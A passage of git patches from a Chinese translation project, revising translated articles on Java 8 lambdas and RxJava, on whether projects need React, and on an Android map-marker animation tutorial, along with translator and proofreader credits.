-Now here I get a benefit from Java inference. How? As compiler, compile my program, that easily generate a code for my all these data types. Now compiler can easily determine from my param data type. So there is no magic. Every time when I am not mentioning the data type most probably compiler will take the context and assign the datatype according to the context because Java is a static type language.
-
 现在我从 Java 引用中获得了好处。怎么样获得的呢？我的编译器，编译我的程序，为我的所有数据类型生成了代码。现在，编译器可以很容易地从我的参数的数据类型做决定。这里没有什么神奇的地方。每当我没有提到数据结构，我的编译器就从上下文中提取并且赋予其数据类型，因为 Java 是一个静态类型语言。
 
-Repeat. Java is a static type language. So if you feel in IDE you are writing some code which did not have any type or may be you think you are going as a Dynamic type language. You are wrong, basically you are taking benefit of Java inference.
-
-再重复一遍，Java 是一个静态类型语言。所以如果你觉得你在 IDE 中写的代码没有任何类型。你可能会认为你使用的是一个动态类型语言。你错了，你只是在利用 Java 引用而已。
-
-Now its time to start work on Lambda expressions. Guys important thing currently Lambda expression only support to Java 8. So in Android if we want Lambda expressions we can use one library Retrolambda. Which is good. Now I am going to explain about LambdaExpressions.
-
-In Android I want a one button with Click Listener. So code as shown below.
+再重复一遍，Java 是一个静态类型语言。所以如果你觉得你在 IDE 中写的代码没有任何类型。你可能会认为你使用的是一个动态类型语言。你错了，你只是在利用 Java 类型推断而已。
 
 现在，我们可以开始写 Lambda 表达式了。目前，Lambda 表达式只支持 Java 8。在安卓中，如果我们想用它，我们可以用 Retrolambda 库。现在们来解释一下 lambda 表达式。
 
+在安卓中，我想要一个可监听点击事件的按钮，如下面代码所示。
+
 ```
 Button button = new Button(this);
 button.setOnClickListener(new View.OnClickListener() {
@@ -612,9 +438,7 @@ button.setOnClickListener(new View.OnClickListener() {
 });
 ```
 
-Here I am setting one anonymous object of OnClickLisetener. So when user click, onClick method will be called. Now I am going to change this anonymous, shitty, complex code with Lambda expression.
-
-这里我们翻入了一个 OnClickLisetener 的匿名对象。当用户点击，onClick 方法就会被调用。现在我们要用 Lambda 表达式改变这个匿名的，恶心的，复杂的代码。
+这里我们传入了一个 OnClickLisetener 的匿名对象。当用户点击，onClick 方法就会被调用。现在我们要用 Lambda 表达式改变这个匿名的，恶心的，复杂的代码。
 
 ```
 Button button = new Button(this);
@@ -623,17 +447,13 @@ button.setOnClickListener((View v)->{
 });
 ```
 
-Now by using Lambda expressions I made my code concise and easy to read. I am going to make more refactoring to the above example.
-
 通过使用 Lambda 表达式，我的代码可读性更强了。我准备再重构一下上面的例子。
 
 ```
 button.setOnClickListener(v -> /* Click */);
 ```
 
-I really like to write code as shown above but in start I really confused how compiler know what I am doing here. First thing here we are using the benefit of Java inference. Like on compile time Java automatically know ‘v’ is a View because we have a **functional interface** which contain one method who has one argument and that is a view as shown below.
-
-我真的很喜欢写类似上面的代码，但是在开始的时候，我真的很困惑，编译器是如何知道我这里在做什么。首先，我利用了 Java 引用。就像编译时，Java 自动知道‘v'是一个 View，因为我们用的是**函数式接口**。这个接口包含一个方法，它的参数是一个 view，如下所示。
+我真的很喜欢写类似上面的代码，但是在开始的时候，我真的很困惑，编译器是如何知道我这里在做什么。首先，我利用了 Java 引用。就像编译时，Java 自动知道‘v'是一个 View，因为我们用的是**函数式接口**。这个接口只有一个抽象方法，它的参数是一个 view，如下所示。
 
 ```
 /**
@@ -649,11 +469,7 @@ public interface **OnClickListener** {
 }
 ```
 
-Hay, what I used, Functional Interface term. I think dots are connecting. We already discuss about Functional Interface. Its mean any method who will take a Functional Interface as an argument I can write as a Lambda Expression. Its mean Lambda Expression is a syntactic sugar.  Guys I have a feeling now you are getting everything about Lambda Expressions. Why I focused on Functional Interfaces and other terms.
-
-我用了函数接口的名字。我觉得点点点是连接中。我们已经讨论了函数式接口。它意味着任何以函数式接口为参数的方法，我就可以写成 Lambda 表达式。这意味着，Lambda 表达式是一个语法糖。我觉得你们现在已经知道 Lambda 表达式是个什么东西了。这就是为什么我要关注函数式接口和其它名词了。
-
-One more example.
+还记得接口函数的概念吗？现在所有的线索都被串起来了。我们已经讨论了函数式接口。它意味着任何以函数式接口为参数的方法，我就可以写成 Lambda 表达式。这意味着，Lambda 表达式是一个语法糖。我觉得你们现在已经知道 Lambda 表达式是个什么东西了。这就是为什么我要关注函数式接口和其它名词了。
 
 再来一个例子。
 
@@ -669,8 +485,6 @@ Thread thread = new Thread(new Runnable() {
 thread.start();
 ```
 
-With Lambda:
-
 使用 Lambda 表达式：
 
 ```
@@ -678,10 +492,6 @@ Thread thread = new Thread(()->{});
 thread.start();
 ```
 
-In Java 8 or Rx Java we have a lot of Functional Interfaces because we want to write concise code which is really easy to read and very few words of code achieve big functionalities. Now I think all confusions are clear. Some more important points about Lambda.
-
-If I only want to write a single line of code on Button press I can write my code as shown below.
-
 在 Java 8 或者 Rx Java 中，我们会使用很多函数式接口，因为我们想写出简单明了的代码，并且寥寥数语就可以完成一个大功能。现在我觉得所有的困惑都已经清晰了。这里有一些关于 Lambda 表达式更重要的点。
 
 如果当按钮被按下时，我想写一行代码，我可以写成下面这样。
@@ -690,9 +500,7 @@ If I only want to write a single line of code on Button press I can write my cod
 button.setOnClickListener(v -> System.out.println());
 ```
 
-But If I want to write more then one line of code. Then I need to write in curly braces as shown below.
-
-但如果我想写不只一行，那么我需要把它们写进花括号里，如下所示。
+但如果我想写不止一行，那么我需要把它们写进花括号里，如下所示。
 
 ```
 button.setOnClickListener(v -> {
@@ -701,16 +509,12 @@ button.setOnClickListener(v -> {
 });
 ```
 
-I can mention data type of my params explicitly as shown below.
-
 我可以明确提及数据类型，如下所示。
 
 ```
 button.setOnClickListener(**(View v)** -> System.out.println());
 ```
 
-Now what about return type in Lambda. One more example.
-
 现在，如何返回 Lambda 表达式类型呢？再给你一个例子。
 
 ```
@@ -728,8 +532,6 @@ private Add add= new Add() {
 int sum = add.add(1,2);
 ```
 
-Now I am going to use that same example with Lambda.
-
 现在我使用 Lambda 表达式来表现同一个例子。
 
 ```
@@ -742,9 +544,7 @@ private Add add = (a, b) -> a+b;
 int sum = add.add(1,2);
 ```
 
-Now you can saw how much concise code I wrote. In functionality both are same. I am not mentioning any return type, due to type inference Java automatically determine that has int data type. Now If I have more then one line code in add implentation then I need to metion as shown below.
-
-现在可以看到我写的代码有多简洁了。它们的功能是一样的。我没有提及任何返回的数据类型，因为 Java 的类型引用自动帮我决定了这是一个整型。现在，如果我想添加更多的代码到 add 方法的实现中，我需要提及如下所示。
+现在可以看到我写的代码有多简洁了。它们的功能是一样的。我没有提及任何返回的数据类型，因为 Java 的类型引用自动帮我决定了这是一个整型。现在，如果我想添加更多的代码到 add 方法的实现中，只需要像下面那样写就行了。
 
 ```
 public interface Add{
@@ -760,19 +560,13 @@ int sum = add.add(1,2);
 
 ```
 
-Now we know Functional Interfaces, Default Methods in Interface, Higher Oder Functions, Side Effects in Functions, Pure Functions, Lambda Expression and Functional Programming.
 
 现在我们知道函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
 
-Conclusion:
 
 结论：
 
-Good work guys. Today we achieve a very big milestone in Rx. Next post [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/). Till now we know Observer Pattern, Pull vs Push, Reactive vs Imperative, Functional Interfaces, Default Methods, Higher Order Functions, Side Effects in Functions, Pure Functions, Lambda Expression and Functional Programming. In my opinion if you know all these terms then Rx learning curve is very very easy. Now I have a feeling we know all these terms so Rx learning curve is very easy for all of us.
-
-Guys have a nice weekend. We will met in next week with more good stuff. BYE BYE.
-
-大家都太棒了。今天我们在 Rx 学习中有了非常大的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)。到现在为止，我们了解了观察者模式，拉模式与推模式，响应式与命令式，函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。
+大家都太棒了。今天我们到达了一个 Rx 学习中的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)。到现在为止，我们了解了观察者模式，拉模式与推模式，响应式与命令式，函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。
 
 祝你们有个愉快的周末。让我们下周再见吧。
 

From 45a07e307d6d635376e3f0722f84d50bff6eb65d Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Mon, 8 May 2017 01:45:27 +0800
Subject: [PATCH 367/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=202=20=E6=A0=A1?=
 =?UTF-8?q?=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/projects-need-react.md | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/TODO/projects-need-react.md b/TODO/projects-need-react.md
index 60031589d94..9f7ab2344bc 100644
--- a/TODO/projects-need-react.md
+++ b/TODO/projects-need-react.md
@@ -6,7 +6,7 @@
 
 # 哪些项目需要 React？都需要！#
 
-项目什么时候需要 React 框架呢？这是 Chris Coyier 在[最近一篇博文](https://github.com/xitu/gold-miner/blob/master/TODO/project-need-react.md)中提出的问题。我是 Chris 博客的粉丝，所以我好奇地看到了他不得不说的话。
+项目什么时候需要 React 框架呢？这是 Chris Coyier 在[最近一篇博文](https://github.com/xitu/gold-miner/blob/master/TODO/project-need-react.md)中提出的问题。我是 Chris 博客的粉丝，所以我好奇他要说什么。
 
 简而言之，Chris 提出了一系列使用 React（或其他类似的当代 JavaScript 库）的优势和劣势。虽然我并不反对他的观点，但我依然发现自己得出了不同的结论。
 
@@ -24,7 +24,7 @@
 
 > 如果你手里只有一把锤子， 所有东西看上去都像钉子。
 
-这则谚语长久以来用来谴责一刀切看问题的人。
+这则谚语长久以来都被用于谴责一刀切看问题的人。
 
 但我们假设有一段时间，你的确生活在布满钉子的世界（听起来有点起鸡皮疙瘩），那么你信任的锤子能够解决你遇到的任何问题。
 
@@ -40,11 +40,11 @@
 
 首先，我们来看看最常见的反对“一切皆 React”的观点。我直接引用 Chris 原话：
 
-> 举个例子，一个博客也许没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。所以如果不是很适合的话，那么也许就是很不适合 React 框架。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。
+> 举个例子，一个博客也许没什么复杂的逻辑，一点也不符合应该使用 React 框架的情况。既然在这种情况下 React 框架不是很合适，那么在这用 React 框架就不是好的选择。因为这么做引入了复杂的技术，依赖了很多根本没用到的东西。
 
-讲的很公平。一个简单的博客不**需要** React。毕竟即使你需要一点 Javascript 处理注册表单，你也可以仅仅使用 jQuery。
+说的很在理。一个简单的博客不**需要** React。毕竟即使你需要一点 Javascript 处理注册表单，你也可以仅仅使用 jQuery。
 
-什么？你需要在不同页面多处使用那个表单？还要只在某些条件下才显示？也要加上动画？等等，打住…
+什么？你需要在不同页面的多个地方使用那个表单？还要只在某些条件下才显示？也要加上动画？等等，打住…
 
 我用这个小情景想表达的主旨就是复杂性并不是一个或是或非的问题，现代网站生活在一个连续的频谱上，从静态页面一直到丰富的单页应用。
 
@@ -52,15 +52,15 @@
 
 ### React 的优势 ###
 
-> 过早优化是所有邪恶的根源。
+> 过早优化是万恶之源。
 
 这是程序员中流行的另一则言语。毕竟，当胶带就能做的很好的时候，谁会需要锤子和钉子呢！
 
 但这里做了一个假设就是“过早优化”是一个长期的少有成效的艰难过程。并且我觉得这个不适于 React。
 
-虽然 React 需要一些时间来习惯，但一旦了解了其[基本概念](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3)，您就能像传统的前端工具一样快速上手。
+虽然 React 需要一些时间来习惯，但一旦了解了其[基本概念](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3)，您就能像使用传统的前端工具一样快速上手。
 
-也许更多的是因为 React 使用了非常强大的**组件**概念。就像 CSS 鼓励你考虑可重用的类和样式一样，React 带来了一个灵活的模块化前端架构，从简单的静态主页到交互式后端仪表板，为每一个用例带来好处。
+事实上，也许更多的是因为 React 使用了非常强大的**组件**概念。就像 CSS 鼓励你考虑可重用的类和样式一样，React 带来了一个灵活的模块化前端架构，从简单的静态主页到交互式后端仪表板，为每一个用例带来好处。
 
 ### JavaScript， 随处都是 JavaScript ###
 
@@ -70,13 +70,13 @@
 >
 > 万物归于 JavaScript！JavaScript 万岁！
 
-Chris 不十分相信，但我很确信。JavaScript 本身并不一定完美，但访问整个现代 NPM 生态系统太棒了。
+Chris 不是很相信，但我相信。JavaScript 本身并不一定完美，但能够访问整个现代 NPM 生态系统太棒了。
 
 过去安装一个 jQuery 插件要找到它的官网，下载下来，拷贝到你的项目目录，加一个 `<script>` 标签，然后期望记得每过几个月检查一下新版本。现在，安装和 React 包同样的插件只是 npm install 命令的问题。
 
 使用像 [styled-components](https://medium.freecodecamp.com/a-5-minute-intro-to-styled-components-41f40eb7cd55) 这样的新库，甚至 CSS 现在也被连带着尖叫着进入未来。
 
-相信我，一旦你习惯了这个一切都在说同一种语言的世界，就很难回到旧的做事方式了。
+相信我，一旦你习惯了那种全世界都在说的语言，那就很难再回归到以前的方式了。
 
 ### 不会有人想到用户！###
 
@@ -86,9 +86,9 @@ Chris 不十分相信，但我很确信。JavaScript 本身并不一定完美，
 
 此外还有一个小秘密：**你可以完全不引用 JavaScript 而获得 React 的所有优势**！
 
-我想说的是**服务端**渲染 React。事实上， 像 [Gatsby](https://github.com/gatsbyjs/gatsby)（还有 [Next.js](https://github.com/zeit/next.js/) 等等）这样的工具可以把你的 React 组建编译进静态 HTML 文件中，这样你可以托管在 GitHub pages 上面。
+我想说的是在**服务端**渲染 React。事实上， 像 [Gatsby](https://github.com/gatsbyjs/gatsby)（还有 [Next.js](https://github.com/zeit/next.js/) 等等）这样的工具可以把你的 React 组建编译进静态 HTML 文件中，这样你可以托管在 GitHub pages 上面。
 
-举个例子，[我自己的个人站点](http://sachagreif.com/) 就是一个 Gatsby-generated React 应用，没有加载任何的 JavaScript（除了一个 Google Analytics 片段）。 我在开发中获得了 React 的所有优势（全 JavaScript，拥抱 NPM 生态，styled-components 等），而最终得到了纯 HTML 和 CSS 的最终产品。
+举个例子，[我自己的个人站点](http://sachagreif.com/) 就是一个 Gatsby-generated React 应用，没有加载任何的 JavaScript（除了一个 Google Analytics 片段）。 我在开发中发挥了 React 的所有优势（全 JavaScript，拥抱 NPM 生态，styled-components 等），而最终得到了纯 HTML 和 CSS 的最终产品。
 
 ### 总结
 

From d9543a340f003b41bcda45288c831b06f0d865f3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 8 May 2017 09:56:48 +0800
Subject: [PATCH 368/638] Update
 reactive-programming-android-rxjava2-hell-part1.md

---
 TODO/reactive-programming-android-rxjava2-hell-part1.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/reactive-programming-android-rxjava2-hell-part1.md b/TODO/reactive-programming-android-rxjava2-hell-part1.md
index 9082d2c66e3..525aafa39d5 100644
--- a/TODO/reactive-programming-android-rxjava2-hell-part1.md
+++ b/TODO/reactive-programming-android-rxjava2-hell-part1.md
@@ -1,8 +1,8 @@
 > * 原文地址：[Observer Pattern – Reactive Programming [Android RxJava2]\( What the hell is this ) Part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)
-* 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
-* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-* 译者：[Zhiw](https://github.com/Zhiw)
-* 校对者：[dubuqingfeng](https://github.com/dubuqingfeng)，[Vivienmm](https://github.com/Vivienmm)
+> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：[Zhiw](https://github.com/Zhiw)
+> * 校对者：[dubuqingfeng](https://github.com/dubuqingfeng)，[Vivienmm](https://github.com/Vivienmm)
 
 ## 观察者模式 – 响应式编程 [Android RxJava2]（这到底是什么）：第一部分
 

From 547e91bcd4d16a3e92db5c205b14357eca7f409f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 8 May 2017 11:01:02 +0800
Subject: [PATCH 369/638] =?UTF-8?q?=E4=BF=AE=E6=AD=A3=20Markdown=20?=
 =?UTF-8?q?=E8=AF=AD=E6=B3=95=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/project-need-react.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
index 62e1ae7b4a6..418c3a78601 100644
--- a/TODO/project-need-react.md
+++ b/TODO/project-need-react.md
@@ -56,7 +56,7 @@ React 框架这样告诉我们：
 
 3. 更棒的是：你可以用这些状态（state）直接构建 HTML ，你根本不需要直接操作 DOM，我都替你处理了（也许比你亲自处理的要更快更好）。
 
-### ✅ 对抗面条式代码 （Spaghetti）###
+### ✅ 对抗面条式代码 （Spaghetti） ###
 
 这和我们刚才讨论过的状态有非常大的关系。
 

From 83615ad8bd2c478265f4c7351d01d0a84ed64b8c Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Mon, 8 May 2017 11:28:21 +0800
Subject: [PATCH 370/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=8E=88=E6=9D=83?=
 =?UTF-8?q?=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/debugging-tips-tricks.md | 2 +-
 TODO/project-need-react.md    | 2 +-
 TODO/projects-need-react.md   | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index 3f1843c1112..effdb725be6 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Debugging Tips and Tricks](https://css-tricks.com/debugging-tips-tricks/)
-> * 原文作者：[SARAH DRASNER](https://css-tricks.com/author/sdrasner/)
+> * 原文作者：本文已获原作者 [SARAH DRASNER](https://css-tricks.com/author/sdrasner/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：[loveky](https://github.com/loveky),[ymz1124](https://github.com/ymz1124)
diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
index 418c3a78601..732dedbff33 100644
--- a/TODO/project-need-react.md
+++ b/TODO/project-need-react.md
@@ -1,5 +1,5 @@
 > * 原文地址：[When Does a Project Need React?](https://css-tricks.com/project-need-react/)
-> * 原文作者：[CHRIS COYIER](https://css-tricks.com/author/chriscoyier/)
+> * 原文作者：本文已获原作者 [CHRIS COYIER](https://css-tricks.com/author/chriscoyier/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
 > * 校对者：[Guangyuan (Charlie) Yang](https://github.com/yzgyyang)、[薛定谔的猫](https://github.com/Aladdin-ADD)
diff --git a/TODO/projects-need-react.md b/TODO/projects-need-react.md
index fb64aa59e23..b79054b3e59 100644
--- a/TODO/projects-need-react.md
+++ b/TODO/projects-need-react.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Which Projects Need React? All Of Them!](https://css-tricks.com/projects-need-react/)
-> * 原文作者：[SACHA GREIF](https://css-tricks.com/author/sachagreif/)
+> * 原文作者：本文已获原作者 [SACHA GREIF](https://css-tricks.com/author/sachagreif/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From fe553a5dcd533d16897bbc765948a2089ec9189e Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Mon, 8 May 2017 13:24:36 +0800
Subject: [PATCH 371/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=20markdown=20?=
 =?UTF-8?q?=E6=A0=87=E8=AF=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/projects-need-react.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/projects-need-react.md b/TODO/projects-need-react.md
index 9f7ab2344bc..da6726f9a0f 100644
--- a/TODO/projects-need-react.md
+++ b/TODO/projects-need-react.md
@@ -4,7 +4,7 @@
 > * 译者：[sunui](https://github.com/sunui)
 > * 校对者：[LeviDing](https://github.com/leviding)、[Shangbin Yang](https://github.com/rccoder)
 
-# 哪些项目需要 React？都需要！#
+# 哪些项目需要 React？都需要！
 
 项目什么时候需要 React 框架呢？这是 Chris Coyier 在[最近一篇博文](https://github.com/xitu/gold-miner/blob/master/TODO/project-need-react.md)中提出的问题。我是 Chris 博客的粉丝，所以我好奇他要说什么。
 
@@ -78,7 +78,7 @@ Chris 不是很相信，但我相信。JavaScript 本身并不一定完美，但
 
 相信我，一旦你习惯了那种全世界都在说的语言，那就很难再回归到以前的方式了。
 
-### 不会有人想到用户！###
+### 不会有人想到用户！
 
 我知道你在想什么：目前为止我一直在推销 React 给开发者带来的好处，却小心翼翼的提及终端用户的体验。
 

From 9748feb3cd87c65d68aaa498b85ca550bcada095 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Mon, 8 May 2017 14:37:31 +0800
Subject: [PATCH 372/638] Update
 the-worlds-fastest-javascript-memoization-library.md
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

增加校对者
---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 00edace0d60..2629e03feb1 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Caio Gondim](https://community.risingstack.com/author/caio/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD)
-> * 校对者：
+> * 校对者：[GangsterHyj](https://github.com/GangsterHyj)
 
 # 我是如何实现世界上最快的 JavaScript 记忆化的 #
 

From db2bfb109ee30475f1e7f9cc5585ace93eeac1df Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Mon, 8 May 2017 21:57:33 +0800
Subject: [PATCH 373/638] =?UTF-8?q?2017.5.8=20=E9=80=9A=E5=8B=A4=E7=BF=BB?=
 =?UTF-8?q?=E8=AF=91?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...animating-markers-with-mapoverlaylayout.md | 277 ++++++++++++------
 1 file changed, 185 insertions(+), 92 deletions(-)

diff --git a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
index 2779a51c920..f1988002817 100644
--- a/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
+++ b/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md
@@ -6,46 +6,81 @@
 
 #  Workcation App – Part 2. Animating Markers with MapOverlayLayout #
 
+#  Workcation App – Part 2. Animating Markers 和 MapOverlayLayout #
+
 Welcome to the second of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
 
-Part 1: [Fragment’s custom transition
-](https://www.thedroidsonroids.com/?p=5054)
+欢迎阅读本系列文章的第二篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
-Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout)
- 
-Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
-Part 4: [Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Link for project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
+Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
 
-Link for animation on Dribbble: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
+Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
+
+ 
+
+项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
+
+动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
 # Prelude #
 
 A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083) 
 
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
+
+
 GIF 1 *“The animation”*
 
+GIF 1 **“动画效果”**
+
 
 # Let’s start! #
 
+# 开始吧！
+
 As we can see in the GIF above, there is a lot of going on.
 
+就像上面 GIF 动画展示的，需要做的事情有很多。
+
 1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
+
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上.
+
 2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+
+当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
+
 3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+
+在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
+
 4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
 
+
+当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
+
+
 Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article, I will cover the map loading and mysterious MapWrapperLayout. Stay tuned!
 
+
+就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中我会编写进入地图 fragment 的转场动画。
+
+
 # The Problem #
 
 So the next step in my development was to load the map to show all of the markers provided by the “API” (simple singleton parsing JSON from assets).  Fortunately, it’s been already described in the [previous post](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition#preloading_map). The second thing we need to do is to load markers with fade/scale animation. Easy, right? Not really.
 
+所以下一步的需求是：加载地图时展示所有由 “API” (一个把 asset 转换为 JSON 的简单单例)提供的标记。幸运的是，[前一章节](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)里我们已经描述过这些标记了。再下一步的需求是：使用渐显和缩放动画来加载这些标记。很简单，是吧？大错特错。
+
 Unfortunately, the Google Maps API only allows us to pass BitmapDescriptor as an icon of the Marker. This is how it’s done:
 
+不幸的是，谷歌地图 API 只允许我们传递 BitmapDescriptor 类型的标记图标做参数，就像下面那样：
+
 ```
 Java
 
